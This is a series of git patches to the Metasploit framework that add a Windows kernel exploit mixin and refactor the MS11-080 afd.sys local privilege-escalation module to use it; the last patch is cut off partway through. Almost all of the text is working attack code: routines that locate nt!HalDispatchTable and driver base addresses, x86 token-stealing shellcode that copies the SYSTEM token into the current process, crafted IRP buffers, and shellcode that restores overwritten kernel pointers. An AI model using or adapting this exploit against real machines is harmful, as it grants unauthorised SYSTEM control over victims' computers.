From 49837a3ba69a3818e5e37c72aa2f4ea60e93564c Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Tue, 22 Jul 2014 16:17:05 -0400 Subject: [PATCH 01/12] Create a basic WindowsKernel exploit mixin --- lib/msf/core/exploit/local/windows_kernel.rb | 113 +++++++++++++++++++ 1 file changed, 113 insertions(+) create mode 100644 lib/msf/core/exploit/local/windows_kernel.rb diff --git a/lib/msf/core/exploit/local/windows_kernel.rb b/lib/msf/core/exploit/local/windows_kernel.rb new file mode 100644 index 0000000000..8cdc7d88f2 --- /dev/null +++ b/lib/msf/core/exploit/local/windows_kernel.rb @@ -0,0 +1,113 @@ +# -*- coding: binary -*- + +module Msf +module Exploit::Local::WindowsKernel + + # + # Find the address of nt!HalDispatchTable. + # + # @return [Integer] The address of nt!HalDispatchTable. + # + def find_haldispatchtable + kernel_info = find_sys_base(nil) + vprint_status("Kernel Base Address: 0x#{kernel_info[0].to_s(16)}") + + hKernel = session.railgun.kernel32.LoadLibraryExA(kernel_info[1], 0, 1) + if hKernel['return'] == 0 + print_error("Failed to load #{kernel_info[1]} (error: #{hKernel['GetLastError']})") + return nil + end + hKernel = hKernel['return'] + + halDispatchTable = session.railgun.kernel32.GetProcAddress(hKernel, "HalDispatchTable") + if halDispatchTable['return'] == 0 + print_error("Failed to retrieve the address of HalDispatchTable (error: #{halDispatchTable['GetLastError']})") + return nil + end + halDispatchTable = halDispatchTable['return'] + + halDispatchTable -= hKernel + halDispatchTable += kernel_info[0] + vprint_status("HalDisPatchTable Address: 0x#{halDispatchTable.to_s(16)}") + halDispatchTable + end + + # + # Find the load address for a device driver on the session. + # + # @param drvname [String, nil] The name of the module to find, otherwise the kernel + # if this value is nil. + # + # @return [Array, nil] An array containing the base address and the located drivers name. + # + def find_sys_base(drvname) + unless session.railgun.dlls.keys.include?('psapi') + session.railgun.add_dll('psapi') + session.railgun.add_function( + 'psapi', + 'EnumDeviceDrivers', + 'BOOL', + [ + ["PBLOB", "lpImageBase", "out"], + ["DWORD", "cb", "in"], + ["PDWORD", "lpcbNeeded", "out"] + ]) + session.railgun.add_function( + 'psapi', + 'GetDeviceDriverBaseNameA', + 'DWORD', + [ + ["LPVOID", "ImageBase", "in"], + ["PBLOB", "lpBaseName", "out"], + ["DWORD", "nSize", "in"] + ]) + end + + results = session.railgun.psapi.EnumDeviceDrivers(4096, 1024, 4) + addresses = results['lpImageBase'][0..results['lpcbNeeded'] - 1].unpack("V*") + + addresses.each do |address| + results = session.railgun.psapi.GetDeviceDriverBaseNameA(address, 48, 48) + current_drvname = results['lpBaseName'][0..results['return'] - 1] + if drvname == nil + if current_drvname.downcase.include?('krnl') + return [address, current_drvname] + end + elsif drvname == current_drvname + return [address, current_drvname] + end + end + end + + # + # Generate x86 token stealing shellcode suitable for use when overwriting the + # halDispatchTable+0x4. + # + # @param target [Hash] The target information containing the offsets to _KPROCESS, + # _TOKEN, _UPID and _APLINKS. + # + # @return [String] The token stealing shellcode. + # + def token_stealing_shellcode_x86(target) + tokenstealing = "\x52" # push edx # Save edx on the stack + tokenstealing << "\x53" # push ebx # Save ebx on the stack + tokenstealing << "\x33\xc0" # xor eax, eax # eax = 0 + tokenstealing << "\x64\x8b\x80\x24\x01\x00\x00" # mov eax, dword ptr fs:[eax+124h] # Retrieve ETHREAD + tokenstealing << "\x8b\x40" + target['_KPROCESS'] # mov eax, dword ptr [eax+44h] # Retrieve _KPROCESS + tokenstealing << "\x8b\xc8" # mov ecx, eax + tokenstealing << "\x8b\x98" + target['_TOKEN'] + "\x00\x00\x00" # mov ebx, dword ptr [eax+0C8h] # Retrieves TOKEN + tokenstealing << "\x8b\x80" + target['_APLINKS'] + "\x00\x00\x00" # mov eax, dword ptr [eax+88h] <====| # Retrieve FLINK from ActiveProcessLinks + tokenstealing << "\x81\xe8" + target['_APLINKS'] + "\x00\x00\x00" # sub eax,88h | # Retrieve _EPROCESS Pointer from the ActiveProcessLinks + tokenstealing << "\x81\xb8" + target['_UPID'] + "\x00\x00\x00\x04\x00\x00\x00" # cmp dword ptr [eax+84h], 4 | # Compares UniqueProcessId with 4 (The System Process on Windows XP) + tokenstealing << "\x75\xe8" # jne 0000101e ====================== + tokenstealing << "\x8b\x90" + target['_TOKEN'] + "\x00\x00\x00" # mov edx,dword ptr [eax+0C8h] # Retrieves TOKEN and stores on EDX + tokenstealing << "\x8b\xc1" # mov eax, ecx # Retrieves KPROCESS stored on ECX + tokenstealing << "\x89\x90" + target['_TOKEN'] + "\x00\x00\x00" # mov dword ptr [eax+0C8h],edx # Overwrites the TOKEN for the current KPROCESS + tokenstealing << "\x5b" # pop ebx # Restores ebx + tokenstealing << "\x5a" # pop edx # Restores edx + tokenstealing << "\xc2\x10" # ret 10h # Away from the kernel! + tokenstealing + end + +end +end From 43a5120696e69264191c47a442ea9dc5bf20f56d Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Sat, 2 Aug 2014 08:08:59 -0700 Subject: [PATCH 02/12] Cleanup the WindowsKernel mixin --- lib/msf/core/exploit/local/windows_kernel.rb | 45 ++++++++++---------- 1 file changed, 22 insertions(+), 23 deletions(-) diff --git a/lib/msf/core/exploit/local/windows_kernel.rb b/lib/msf/core/exploit/local/windows_kernel.rb index 8cdc7d88f2..5c5664d544 100644 --- a/lib/msf/core/exploit/local/windows_kernel.rb +++ b/lib/msf/core/exploit/local/windows_kernel.rb @@ -2,7 +2,6 @@ module Msf module Exploit::Local::WindowsKernel - # # Find the address of nt!HalDispatchTable. # @@ -12,24 +11,24 @@ module Exploit::Local::WindowsKernel kernel_info = find_sys_base(nil) vprint_status("Kernel Base Address: 0x#{kernel_info[0].to_s(16)}") - hKernel = session.railgun.kernel32.LoadLibraryExA(kernel_info[1], 0, 1) - if hKernel['return'] == 0 - print_error("Failed to load #{kernel_info[1]} (error: #{hKernel['GetLastError']})") + h_kernel = session.railgun.kernel32.LoadLibraryExA(kernel_info[1], 0, 1) + if h_kernel['return'] == 0 + print_error("Failed to load #{kernel_info[1]} (error: #{h_kernel['GetLastError']})") return nil end - hKernel = hKernel['return'] + h_kernel = h_kernel['return'] - halDispatchTable = session.railgun.kernel32.GetProcAddress(hKernel, "HalDispatchTable") - if halDispatchTable['return'] == 0 - print_error("Failed to retrieve the address of HalDispatchTable (error: #{halDispatchTable['GetLastError']})") + hal_dispatch_table = session.railgun.kernel32.GetProcAddress(h_kernel, 'HalDispatchTable') + if hal_dispatch_table['return'] == 0 + print_error("Failed to retrieve the address of nt!HalDispatchTable (error: #{hal_dispatch_table['GetLastError']})") return nil end - halDispatchTable = halDispatchTable['return'] + hal_dispatch_table = hal_dispatch_table['return'] - halDispatchTable -= hKernel - halDispatchTable += kernel_info[0] - vprint_status("HalDisPatchTable Address: 0x#{halDispatchTable.to_s(16)}") - halDispatchTable + hal_dispatch_table -= h_kernel + hal_dispatch_table += kernel_info[0] + vprint_status("HalDisPatchTable Address: 0x#{hal_dispatch_table.to_s(16)}") + hal_dispatch_table end # @@ -48,28 +47,28 @@ module Exploit::Local::WindowsKernel 'EnumDeviceDrivers', 'BOOL', [ - ["PBLOB", "lpImageBase", "out"], - ["DWORD", "cb", "in"], - ["PDWORD", "lpcbNeeded", "out"] + %w(PBLOB lpImageBase out), + %w(DWORD cb in), + %w(PDWORD lpcbNeeded out) ]) session.railgun.add_function( 'psapi', 'GetDeviceDriverBaseNameA', 'DWORD', [ - ["LPVOID", "ImageBase", "in"], - ["PBLOB", "lpBaseName", "out"], - ["DWORD", "nSize", "in"] + %w(LPVOID ImageBase in), + %w(PBLOB lpBaseName out), + %w(DWORD nSize in) ]) end results = session.railgun.psapi.EnumDeviceDrivers(4096, 1024, 4) - addresses = results['lpImageBase'][0..results['lpcbNeeded'] - 1].unpack("V*") + addresses = results['lpImageBase'][0..results['lpcbNeeded'] - 1].unpack('V*') addresses.each do |address| results = session.railgun.psapi.GetDeviceDriverBaseNameA(address, 48, 48) current_drvname = results['lpBaseName'][0..results['return'] - 1] - if drvname == nil + if drvname.nil? if current_drvname.downcase.include?('krnl') return [address, current_drvname] end @@ -81,7 +80,8 @@ module Exploit::Local::WindowsKernel # # Generate x86 token stealing shellcode suitable for use when overwriting the - # halDispatchTable+0x4. + # pointer at nt!HalDispatchTable+0x4. The shellcode preserves the edx and ebx + # registers. # # @param target [Hash] The target information containing the offsets to _KPROCESS, # _TOKEN, _UPID and _APLINKS. @@ -108,6 +108,5 @@ module Exploit::Local::WindowsKernel tokenstealing << "\xc2\x10" # ret 10h # Away from the kernel! tokenstealing end - end end From 893b9a6e99be561836e2b75876bc07e0b7df65f9 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Sun, 3 Aug 2014 21:17:46 -0700 Subject: [PATCH 03/12] Add an open_device function for wrapping CreateFileA --- lib/msf/core/exploit/local/windows_kernel.rb | 81 +++++++++++++++----- 1 file changed, 60 insertions(+), 21 deletions(-) diff --git a/lib/msf/core/exploit/local/windows_kernel.rb b/lib/msf/core/exploit/local/windows_kernel.rb index 5c5664d544..ab226585a6 100644 --- a/lib/msf/core/exploit/local/windows_kernel.rb +++ b/lib/msf/core/exploit/local/windows_kernel.rb @@ -6,6 +6,7 @@ module Exploit::Local::WindowsKernel # Find the address of nt!HalDispatchTable. # # @return [Integer] The address of nt!HalDispatchTable. + # @return [nil] If the address could not be found. # def find_haldispatchtable kernel_info = find_sys_base(nil) @@ -36,8 +37,8 @@ module Exploit::Local::WindowsKernel # # @param drvname [String, nil] The name of the module to find, otherwise the kernel # if this value is nil. - # - # @return [Array, nil] An array containing the base address and the located drivers name. + # @return [Array] An array containing the base address and the located drivers name. + # @return [nil] If the name specified could not be found. # def find_sys_base(drvname) unless session.railgun.dlls.keys.include?('psapi') @@ -78,6 +79,28 @@ module Exploit::Local::WindowsKernel end end + # + # Open a device on a meterpreter session with a call to CreateFileA and return + # the handle. Both optional parameters lpSecurityAttributes and hTemplateFile + # are specified as nil. + # + # @param file_name [String] Passed to CreateFileA as the lpFileName parameter. + # @param desired_access [String, Integer] Passed to CreateFileA as the dwDesiredAccess parameter. + # @param share_mode [String, Integer] Passed to CreateFileA as the dwShareMode parameter. + # @param creation_disposition [String, Integer] Passed to CreateFileA as the dwCreationDisposition parameter. + # @param flags_and_attributes [String, Integer] Passed to CreateFileA as the dwFlagsAndAttributes parameter. + # @return [Integer] The device handle. + # @return [nil] If the call to CreateFileA failed. + # + def open_device(file_name, desired_access, share_mode, creation_disposition, flags_and_attributes = 0) + handle = session.railgun.kernel32.CreateFileA(file_name, desired_access, share_mode, nil, creation_disposition, flags_and_attributes, nil) + if handle['return'] == 0xffffffff + print_error("Failed to open the #{file_name} device (error: #{handle['GetLastError']})") + return nil + end + handle['return'] + end + # # Generate x86 token stealing shellcode suitable for use when overwriting the # pointer at nt!HalDispatchTable+0x4. The shellcode preserves the edx and ebx @@ -85,27 +108,43 @@ module Exploit::Local::WindowsKernel # # @param target [Hash] The target information containing the offsets to _KPROCESS, # _TOKEN, _UPID and _APLINKS. - # + # @param arch [String] The architecture to return shellcode for. If this is nil, + # the arch will be guessed from the target and then module information. # @return [String] The token stealing shellcode. + # @raise [ArgumentError] If the arch is incompatible. # - def token_stealing_shellcode_x86(target) - tokenstealing = "\x52" # push edx # Save edx on the stack - tokenstealing << "\x53" # push ebx # Save ebx on the stack - tokenstealing << "\x33\xc0" # xor eax, eax # eax = 0 - tokenstealing << "\x64\x8b\x80\x24\x01\x00\x00" # mov eax, dword ptr fs:[eax+124h] # Retrieve ETHREAD - tokenstealing << "\x8b\x40" + target['_KPROCESS'] # mov eax, dword ptr [eax+44h] # Retrieve _KPROCESS - tokenstealing << "\x8b\xc8" # mov ecx, eax - tokenstealing << "\x8b\x98" + target['_TOKEN'] + "\x00\x00\x00" # mov ebx, dword ptr [eax+0C8h] # Retrieves TOKEN - tokenstealing << "\x8b\x80" + target['_APLINKS'] + "\x00\x00\x00" # mov eax, dword ptr [eax+88h] <====| # Retrieve FLINK from ActiveProcessLinks - tokenstealing << "\x81\xe8" + target['_APLINKS'] + "\x00\x00\x00" # sub eax,88h | # Retrieve _EPROCESS Pointer from the ActiveProcessLinks - tokenstealing << "\x81\xb8" + target['_UPID'] + "\x00\x00\x00\x04\x00\x00\x00" # cmp dword ptr [eax+84h], 4 | # Compares UniqueProcessId with 4 (The System Process on Windows XP) - tokenstealing << "\x75\xe8" # jne 0000101e ====================== - tokenstealing << "\x8b\x90" + target['_TOKEN'] + "\x00\x00\x00" # mov edx,dword ptr [eax+0C8h] # Retrieves TOKEN and stores on EDX - tokenstealing << "\x8b\xc1" # mov eax, ecx # Retrieves KPROCESS stored on ECX - tokenstealing << "\x89\x90" + target['_TOKEN'] + "\x00\x00\x00" # mov dword ptr [eax+0C8h],edx # Overwrites the TOKEN for the current KPROCESS - tokenstealing << "\x5b" # pop ebx # Restores ebx - tokenstealing << "\x5a" # pop edx # Restores edx - tokenstealing << "\xc2\x10" # ret 10h # Away from the kernel! + def token_stealing_shellcode(target, arch = nil) + arch = target.opts['Arch'] if arch.nil? && target && target.opts['Arch'] + arch = module_info['Arch'] if arch.nil? && module_info['Arch'] + if arch.nil? + print_error('Can not determine the target architecture') + fail ArgumentError, 'Invalid arch' + end + + case arch + when ARCH_X86 + tokenstealing = "\x52" # push edx # Save edx on the stack + tokenstealing << "\x53" # push ebx # Save ebx on the stack + tokenstealing << "\x33\xc0" # xor eax, eax # eax = 0 + tokenstealing << "\x64\x8b\x80\x24\x01\x00\x00" # mov eax, dword ptr fs:[eax+124h] # Retrieve ETHREAD + tokenstealing << "\x8b\x40" + target['_KPROCESS'] # mov eax, dword ptr [eax+44h] # Retrieve _KPROCESS + tokenstealing << "\x8b\xc8" # mov ecx, eax + tokenstealing << "\x8b\x98" + target['_TOKEN'] + "\x00\x00\x00" # mov ebx, dword ptr [eax+0C8h] # Retrieves TOKEN + tokenstealing << "\x8b\x80" + target['_APLINKS'] + "\x00\x00\x00" # mov eax, dword ptr [eax+88h] <====| # Retrieve FLINK from ActiveProcessLinks + tokenstealing << "\x81\xe8" + target['_APLINKS'] + "\x00\x00\x00" # sub eax,88h | # Retrieve _EPROCESS Pointer from the ActiveProcessLinks + tokenstealing << "\x81\xb8" + target['_UPID'] + "\x00\x00\x00\x04\x00\x00\x00" # cmp dword ptr [eax+84h], 4 | # Compares UniqueProcessId with 4 (The System Process on Windows XP) + tokenstealing << "\x75\xe8" # jne 0000101e ====================== + tokenstealing << "\x8b\x90" + target['_TOKEN'] + "\x00\x00\x00" # mov edx,dword ptr [eax+0C8h] # Retrieves TOKEN and stores on EDX + tokenstealing << "\x8b\xc1" # mov eax, ecx # Retrieves KPROCESS stored on ECX + tokenstealing << "\x89\x90" + target['_TOKEN'] + "\x00\x00\x00" # mov dword ptr [eax+0C8h],edx # Overwrites the TOKEN for the current KPROCESS + tokenstealing << "\x5b" # pop ebx # Restores ebx + tokenstealing << "\x5a" # pop edx # Restores edx + tokenstealing << "\xc2\x10" # ret 10h # Away from the kernel! + else + # if this is reached the issue most likely exists in the exploit module + print_error('Unsupported arch for token stealing shellcode') + fail ArgumentError, 'Invalid arch' + end tokenstealing end end From 4b73ad6f40cc1097f39c2bad9897309b2db0b447 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Sun, 3 Aug 2014 21:42:17 -0700 Subject: [PATCH 04/12] Fix guessing the arch with modules specifying an array --- lib/msf/core/exploit/local/windows_kernel.rb | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/lib/msf/core/exploit/local/windows_kernel.rb b/lib/msf/core/exploit/local/windows_kernel.rb index ab226585a6..564263d899 100644 --- a/lib/msf/core/exploit/local/windows_kernel.rb +++ b/lib/msf/core/exploit/local/windows_kernel.rb @@ -115,7 +115,10 @@ module Exploit::Local::WindowsKernel # def token_stealing_shellcode(target, arch = nil) arch = target.opts['Arch'] if arch.nil? && target && target.opts['Arch'] - arch = module_info['Arch'] if arch.nil? && module_info['Arch'] + if arch.nil? && module_info['Arch'] + arch = module_info['Arch'] + arch = arch[0] if arch.class.to_s == 'Array' and arch.length == 1 + end if arch.nil? print_error('Can not determine the target architecture') fail ArgumentError, 'Invalid arch' From 6543b08eb4be38809ea0b64ed09ca5d19da7ca43 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Mon, 4 Aug 2014 11:07:17 -0700 Subject: [PATCH 05/12] Support writing a copy of the original token --- lib/msf/core/exploit/local/windows_kernel.rb | 10 ++++++++-- 1 file changed, 8 insertions(+), 2 deletions(-) diff --git a/lib/msf/core/exploit/local/windows_kernel.rb b/lib/msf/core/exploit/local/windows_kernel.rb index 564263d899..110008fc57 100644 --- a/lib/msf/core/exploit/local/windows_kernel.rb +++ b/lib/msf/core/exploit/local/windows_kernel.rb @@ -108,12 +108,14 @@ module Exploit::Local::WindowsKernel # # @param target [Hash] The target information containing the offsets to _KPROCESS, # _TOKEN, _UPID and _APLINKS. + # @param backup_token [Integer] An optional location to write a copy of the + # original token to so it can be restored later. # @param arch [String] The architecture to return shellcode for. If this is nil, # the arch will be guessed from the target and then module information. # @return [String] The token stealing shellcode. # @raise [ArgumentError] If the arch is incompatible. # - def token_stealing_shellcode(target, arch = nil) + def token_stealing_shellcode(target, backup_token = nil, arch = nil) arch = target.opts['Arch'] if arch.nil? && target && target.opts['Arch'] if arch.nil? && module_info['Arch'] arch = module_info['Arch'] @@ -124,15 +126,19 @@ module Exploit::Local::WindowsKernel fail ArgumentError, 'Invalid arch' end + tokenstealing = '' case arch when ARCH_X86 - tokenstealing = "\x52" # push edx # Save edx on the stack + tokenstealing << "\x52" # push edx # Save edx on the stack tokenstealing << "\x53" # push ebx # Save ebx on the stack tokenstealing << "\x33\xc0" # xor eax, eax # eax = 0 tokenstealing << "\x64\x8b\x80\x24\x01\x00\x00" # mov eax, dword ptr fs:[eax+124h] # Retrieve ETHREAD tokenstealing << "\x8b\x40" + target['_KPROCESS'] # mov eax, dword ptr [eax+44h] # Retrieve _KPROCESS tokenstealing << "\x8b\xc8" # mov ecx, eax tokenstealing << "\x8b\x98" + target['_TOKEN'] + "\x00\x00\x00" # mov ebx, dword ptr [eax+0C8h] # Retrieves TOKEN + unless backup_token.nil? + tokenstealing << "\x89\x1d" + [backup_token].pack('V') # mov dword ptr ds:backup_token, ebx # Optionaly write a copy of the token to the address provided + end tokenstealing << "\x8b\x80" + target['_APLINKS'] + "\x00\x00\x00" # mov eax, dword ptr [eax+88h] <====| # Retrieve FLINK from ActiveProcessLinks tokenstealing << "\x81\xe8" + target['_APLINKS'] + "\x00\x00\x00" # sub eax,88h | # Retrieve _EPROCESS Pointer from the ActiveProcessLinks tokenstealing << "\x81\xb8" + target['_UPID'] + "\x00\x00\x00\x04\x00\x00\x00" # cmp dword ptr [eax+84h], 4 | # Compares UniqueProcessId with 4 (The System Process on Windows XP) From 58d29167e83117564a5850a972f2ed673b01e02c Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Mon, 4 Aug 2014 11:08:09 -0700 Subject: [PATCH 06/12] Refactor MS11-080 to use the mixin and for style --- .../windows/local/ms11_080_afdjoinleaf.rb | 213 ++++++------------ 1 file changed, 75 insertions(+), 138 deletions(-) diff --git a/modules/exploits/windows/local/ms11_080_afdjoinleaf.rb b/modules/exploits/windows/local/ms11_080_afdjoinleaf.rb index 8a24a7a9d8..85442ead06 100644 --- a/modules/exploits/windows/local/ms11_080_afdjoinleaf.rb +++ b/modules/exploits/windows/local/ms11_080_afdjoinleaf.rb @@ -4,6 +4,7 @@ ## require 'msf/core' +require 'msf/core/exploit/local/windows_kernel' require 'rex' class Metasploit3 < Msf::Exploit::Local @@ -13,12 +14,14 @@ class Metasploit3 < Msf::Exploit::Local # the system process that it was injected into to die then it's also # possible that the system may become unstable. + include Msf::Exploit::Local::WindowsKernel include Msf::Post::Windows::Priv + include Msf::Post::Windows::Process - def initialize(info={}) + def initialize(info = {}) super(update_info(info, { - 'Name' => 'MS11-080 AfdJoinLeaf Privilege Escalation', - 'Description' => %q{ + 'Name' => 'MS11-080 AfdJoinLeaf Privilege Escalation', + 'Description' => %q( This module exploits a flaw in the AfdJoinLeaf function of the afd.sys driver to overwrite data in kernel space. An address within the HalDispatchTable is overwritten and when triggered @@ -27,25 +30,24 @@ class Metasploit3 < Msf::Exploit::Local This module will elevate itself to SYSTEM, then inject the payload into another SYSTEM process before restoring it's own token to avoid causing system instability. - }, + ), 'License' => MSF_LICENSE, 'Author' => [ 'Matteo Memelli', # original exploit and all the hard work 'Spencer McIntyre' # MSF module ], - 'Arch' => [ ARCH_X86 ], - 'Platform' => [ 'win' ], - 'SessionTypes' => [ 'meterpreter' ], + 'Arch' => [ARCH_X86], + 'Platform' => ['win'], + 'SessionTypes' => ['meterpreter'], 'DefaultOptions' => { - 'EXITFUNC' => 'thread', + 'EXITFUNC' => 'thread' }, - 'Targets' => + 'Targets' => [ - [ 'Automatic', { } ], - - [ 'Windows XP SP2 / SP3', + ['Automatic', {}], + ['Windows XP SP2 / SP3', { 'HaliQuerySystemInfo' => 0x16bba, 'HalpSetSystemInformation' => 0x19436, @@ -55,8 +57,7 @@ class Metasploit3 < Msf::Exploit::Local '_APLINKS' => "\x88" } ], - - [ 'Windows Server 2003 SP2', + ['Windows Server 2003 SP2', { 'HaliQuerySystemInfo' => 0x1fa1e, 'HalpSetSystemInformation' => 0x21c60, @@ -65,220 +66,156 @@ class Metasploit3 < Msf::Exploit::Local '_UPID' => "\x94", '_APLINKS' => "\x98" } - ], + ] ], - 'References' => + 'References' => [ - [ 'CVE', '2011-2005' ], - [ 'OSVDB', '76232' ], - [ 'EDB', '18176' ], - [ 'MSB', 'MS11-080' ], - [ 'URL', 'http://www.offensive-security.com/vulndev/ms11-080-voyage-into-ring-zero/' ] + %w(CVE 2011-2005), + %w(OSVDB 76232), + %w(EDB 18176), + %w(MSB MS11-080), + %w(URL http://www.offensive-security.com/vulndev/ms11-080-voyage-into-ring-zero/) ], - 'DisclosureDate'=> 'Nov 30 2011', - 'DefaultTarget' => 0 + 'DisclosureDate' => 'Nov 30 2011', + 'DefaultTarget' => 0 })) - - register_options([ - ]) - - end - - def find_sys_base(drvname) - session.railgun.add_dll('psapi') if not session.railgun.dlls.keys.include?('psapi') - session.railgun.add_function('psapi', 'EnumDeviceDrivers', 'BOOL', [ ["PBLOB", "lpImageBase", "out"], ["DWORD", "cb", "in"], ["PDWORD", "lpcbNeeded", "out"]]) - session.railgun.add_function('psapi', 'GetDeviceDriverBaseNameA', 'DWORD', [ ["LPVOID", "ImageBase", "in"], ["PBLOB", "lpBaseName", "out"], ["DWORD", "nSize", "in"]]) - results = session.railgun.psapi.EnumDeviceDrivers(4096, 1024, 4) - addresses = results['lpImageBase'][0..results['lpcbNeeded'] - 1].unpack("V*") - - addresses.each do |address| - results = session.railgun.psapi.GetDeviceDriverBaseNameA(address, 48, 48) - current_drvname = results['lpBaseName'][0..results['return'] - 1] - if drvname == nil - if current_drvname.downcase.include?('krnl') - return [address, current_drvname] - end - elsif drvname == results['lpBaseName'][0..results['return'] - 1] - return [address, current_drvname] - end - end end # Function borrowed from smart_hashdump def get_system_proc # Make sure you got the correct SYSTEM Account Name no matter the OS Language - local_sys = resolve_sid("S-1-5-18") + local_sys = resolve_sid('S-1-5-18') system_account_name = "#{local_sys[:domain]}\\#{local_sys[:name]}" # Processes that can Blue Screen a host if migrated in to - dangerous_processes = ["lsass.exe", "csrss.exe", "smss.exe"] + dangerous_processes = ['lsass.exe', 'csrss.exe', 'smss.exe'] session.sys.process.processes.each do |p| # Check we are not migrating to a process that can BSOD the host - next if dangerous_processes.include?(p["name"]) - next if p["pid"] == session.sys.process.getpid - next if p["pid"] == 4 - next if p["user"] != system_account_name + next if dangerous_processes.include?(p['name']) + next if p['pid'] == session.sys.process.getpid + next if p['pid'] == 4 + next if p['user'] != system_account_name return p end end def exploit - if sysinfo["Architecture"] =~ /wow64/i - print_error("Running against WOW64 is not supported") + if sysinfo['Architecture'] =~ /wow64/i + print_error('Running against WOW64 is not supported') return - elsif sysinfo["Architecture"] =~ /x64/ - print_error("Running against 64-bit systems is not supported") + elsif sysinfo['Architecture'] =~ /x64/ + print_error('Running against 64-bit systems is not supported') return end mytarget = target if mytarget.name =~ /Automatic/ - os = sysinfo["OS"] - if os =~ /windows xp/i - mytarget = targets[1] - end - if ((os =~ /2003/) and (os =~ /service pack 2/i)) - mytarget = targets[2] - end - if ((os =~ /\.net server/i) and (os =~ /service pack 2/i)) + os = sysinfo['OS'] + mytarget = targets[1] if os =~ /windows xp/i + mytarget = targets[2] if (os =~ /2003/) && (os =~ /service pack 2/i) + if (os =~ /\.net server/i) && (os =~ /service pack 2/i) mytarget = targets[2] end if mytarget.name =~ /Automatic/ - print_error("Could not identify the target system, it may not be supported") + print_error('Could not identify the target system, it may not be supported') return end print_status("Running against #{mytarget.name}") end if is_system? - print_error("This meterpreter session is already running as SYSTEM") + print_error('This meterpreter session is already running as SYSTE') return end this_proc = session.sys.process.open - kernel_info = find_sys_base(nil) base_addr = 0x1001 - print_status("Kernel Base Address: 0x#{kernel_info[0].to_s(16)}") - result = session.railgun.ws2_32.WSASocketA("AF_INET", "SOCK_STREAM", "IPPROTO_TCP", nil, nil, 0) + result = session.railgun.ws2_32.WSASocketA('AF_INET', 'SOCK_STREAM', 'IPPROTO_TCP', nil, nil, 0) socket = result['return'] irpstuff = rand_text_alpha(8) irpstuff << "\x00\x00\x00\x00" irpstuff << rand_text_alpha(4) irpstuff << "\x01\x00\x00\x00" - irpstuff << "\xe8\x00" + "4" + "\xf0\x00" + irpstuff << "\xe8\x00\x34\xf0\x00" irpstuff << rand_text_alpha(231) - if not this_proc.memory.writable?(0x1000) - result = session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ base_addr ].pack("V"), nil, [ 0x1000 ].pack("V"), "MEM_COMMIT | MEM_RESERVE", "PAGE_EXECUTE_READWRITE") + unless this_proc.memory.writable?(0x1000) + session.railgun.ntdll.NtAllocateVirtualMemory(-1, [base_addr].pack('V'), nil, [0x1000].pack('V'), 'MEM_COMMIT | MEM_RESERVE', 'PAGE_EXECUTE_READWRITE') end - if not this_proc.memory.writable?(0x1000) + unless this_proc.memory.writable?(0x1000) print_error('Failed to properly allocate memory') return end this_proc.memory.write(0x1000, irpstuff) - hKernel = session.railgun.kernel32.LoadLibraryExA(kernel_info[1], 0, 1) - hKernel = hKernel['return'] - halDispatchTable = session.railgun.kernel32.GetProcAddress(hKernel, "HalDispatchTable") - halDispatchTable = halDispatchTable['return'] - halDispatchTable -= hKernel - halDispatchTable += kernel_info[0] - print_status("HalDisPatchTable Address: 0x#{halDispatchTable.to_s(16)}") + haldispatchtable = find_haldispatchtable + return if haldispatchtable.nil? - halbase = find_sys_base("hal.dll")[0] - haliQuerySystemInformation = halbase + mytarget['HaliQuerySystemInfo'] - halpSetSystemInformation = halbase + mytarget['HalpSetSystemInformation'] - print_status("HaliQuerySystemInformation Address: 0x#{haliQuerySystemInformation.to_s(16)}") - print_status("HalpSetSystemInformation Address: 0x#{halpSetSystemInformation.to_s(16)}") + halbase = find_sys_base('hal.dll')[0] + hal_iquerysysteminformation = halbase + mytarget['HaliQuerySystemInfo'] + hal_psetsysteminformation = halbase + mytarget['HalpSetSystemInformation'] + print_status("HaliQuerySystemInformation Address: 0x#{hal_iquerysysteminformation.to_s(16).rjust(8, '0')}") + print_status("HalpSetSystemInformation Address: 0x#{hal_psetsysteminformation.to_s(16).rjust(8, '0')}") #### Exploitation #### - shellcode_address_dep = 0x0002071e + shellcode_address_dep = 0x0002071e shellcode_address_nodep = 0x000207b8 - padding = make_nops(2) - halDispatchTable0x4 = halDispatchTable + 0x4 - halDispatchTable0x8 = halDispatchTable + 0x8 + padding = make_nops(2) + backup_token = 0x20900 restore_ptrs = "\x31\xc0" - restore_ptrs << "\xb8" + [ halpSetSystemInformation ].pack("V") - restore_ptrs << "\xa3" + [ halDispatchTable0x8 ].pack("V") - restore_ptrs << "\xb8" + [ haliQuerySystemInformation ].pack("V") - restore_ptrs << "\xa3" + [ halDispatchTable0x4 ].pack("V") - - tokenstealing = "\x52" - tokenstealing << "\x53" - tokenstealing << "\x33\xc0" - tokenstealing << "\x64\x8b\x80\x24\x01\x00\x00" - tokenstealing << "\x8b\x40" + mytarget['_KPROCESS'] - tokenstealing << "\x8b\xc8" - tokenstealing << "\x8b\x98" + mytarget['_TOKEN'] + "\x00\x00\x00" - tokenstealing << "\x89\x1d\x00\x09\x02\x00" - tokenstealing << "\x8b\x80" + mytarget['_APLINKS'] + "\x00\x00\x00" - tokenstealing << "\x81\xe8" + mytarget['_APLINKS'] + "\x00\x00\x00" - tokenstealing << "\x81\xb8" + mytarget['_UPID'] + "\x00\x00\x00\x04\x00\x00\x00" - tokenstealing << "\x75\xe8" - tokenstealing << "\x8b\x90" + mytarget['_TOKEN'] + "\x00\x00\x00" - tokenstealing << "\x8b\xc1" - tokenstealing << "\x89\x90" + mytarget['_TOKEN'] + "\x00\x00\x00" - tokenstealing << "\x5b" - tokenstealing << "\x5a" - tokenstealing << "\xc2\x10" + restore_ptrs << "\xb8" + [hal_psetsysteminformation].pack('V') + restore_ptrs << "\xa3" + [haldispatchtable + 8].pack('V') + restore_ptrs << "\xb8" + [hal_iquerysysteminformation].pack('V') + restore_ptrs << "\xa3" + [haldispatchtable + 4].pack('V') restore_token = "\x52" restore_token << "\x33\xc0" restore_token << "\x64\x8b\x80\x24\x01\x00\x00" restore_token << "\x8b\x40" + mytarget['_KPROCESS'] - restore_token << "\x8b\x15\x00\x09\x02\x00" + restore_token << "\x8b\x15" + [backup_token].pack('V') restore_token << "\x89\x90" + 